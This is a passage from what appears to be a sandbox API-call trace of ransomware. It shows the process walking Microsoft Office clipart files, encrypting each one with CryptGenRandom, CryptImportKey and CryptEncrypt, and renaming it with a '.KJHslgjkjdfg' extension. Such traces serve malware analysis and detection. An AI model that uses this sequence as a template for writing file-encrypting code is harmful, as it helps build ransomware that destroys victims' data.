dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.kjhslgjkjdfg")) returned 1 [0201.672] CloseHandle (hObject=0x130) returned 1 [0201.673] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1 [0201.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.673] GetProcessHeap () returned 0x2ef0000 [0201.673] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.673] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.673] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.675] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.675] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.675] GetProcessHeap () returned 0x2ef0000 [0201.675] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.675] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.675] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.676] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.676] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.676] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.676] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.676] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.676] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.676] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.676] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2988, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2988, lpOverlapped=0x0) returned 1 [0201.677] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2990, dwBufLen=0x2990 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2990) returned 1 [0201.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.677] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2990, lpOverlapped=0x0) returned 1 [0201.677] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.677] SetEndOfFile (hFile=0x130) returned 1 [0201.680] GetProcessHeap () returned 0x2ef0000 [0201.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.680] GetProcessHeap () returned 0x2ef0000 [0201.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.680] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.kjhslgjkjdfg")) returned 1 [0201.681] CloseHandle (hObject=0x130) returned 1 [0201.681] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1 [0201.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.682] GetProcessHeap () returned 0x2ef0000 [0201.682] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.682] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.682] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.684] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.684] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.684] GetProcessHeap () returned 0x2ef0000 [0201.684] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.684] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.684] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.684] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.684] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.684] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.684] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.685] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.685] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.685] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.685] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3394, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3394, lpOverlapped=0x0) returned 1 [0201.686] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x33a0, dwBufLen=0x33a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x33a0) returned 1 [0201.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.686] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x33a0, lpOverlapped=0x0) returned 1 [0201.686] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.686] SetEndOfFile (hFile=0x130) returned 1 [0201.689] GetProcessHeap () returned 0x2ef0000 [0201.689] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.689] GetProcessHeap () returned 0x2ef0000 [0201.689] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.kjhslgjkjdfg")) returned 1 [0201.690] CloseHandle (hObject=0x130) returned 1 [0201.690] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1 [0201.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.691] GetProcessHeap () returned 0x2ef0000 [0201.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.691] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.691] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.693] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.693] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.693] GetProcessHeap () returned 0x2ef0000 [0201.693] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.693] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.693] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.693] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.693] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.693] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.693] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.693] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3418, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3418, lpOverlapped=0x0) returned 1 [0201.694] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3420, dwBufLen=0x3420 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3420) returned 1 [0201.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.695] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3420, lpOverlapped=0x0) returned 1 [0201.695] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x34f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.695] SetEndOfFile (hFile=0x130) returned 1 [0201.696] GetProcessHeap () returned 0x2ef0000 [0201.696] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.696] GetProcessHeap () returned 0x2ef0000 [0201.696] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.kjhslgjkjdfg")) returned 1 [0201.697] CloseHandle (hObject=0x130) returned 1 [0201.697] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1 [0201.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.699] GetProcessHeap () returned 0x2ef0000 [0201.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.699] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.699] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.699] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.699] GetProcessHeap () returned 0x2ef0000 [0201.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.699] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.699] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.699] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.701] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.701] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.701] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.702] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.702] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.702] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.702] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a00, lpOverlapped=0x0) returned 1 [0201.703] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a00, dwBufLen=0x2a00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a00) returned 1 [0201.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.703] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a00, lpOverlapped=0x0) returned 1 [0201.703] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.703] SetEndOfFile (hFile=0x130) returned 1 [0201.706] GetProcessHeap () returned 0x2ef0000 [0201.706] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.706] GetProcessHeap () returned 0x2ef0000 [0201.706] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.kjhslgjkjdfg")) returned 1 [0201.707] CloseHandle (hObject=0x130) returned 1 [0201.707] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1 [0201.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, 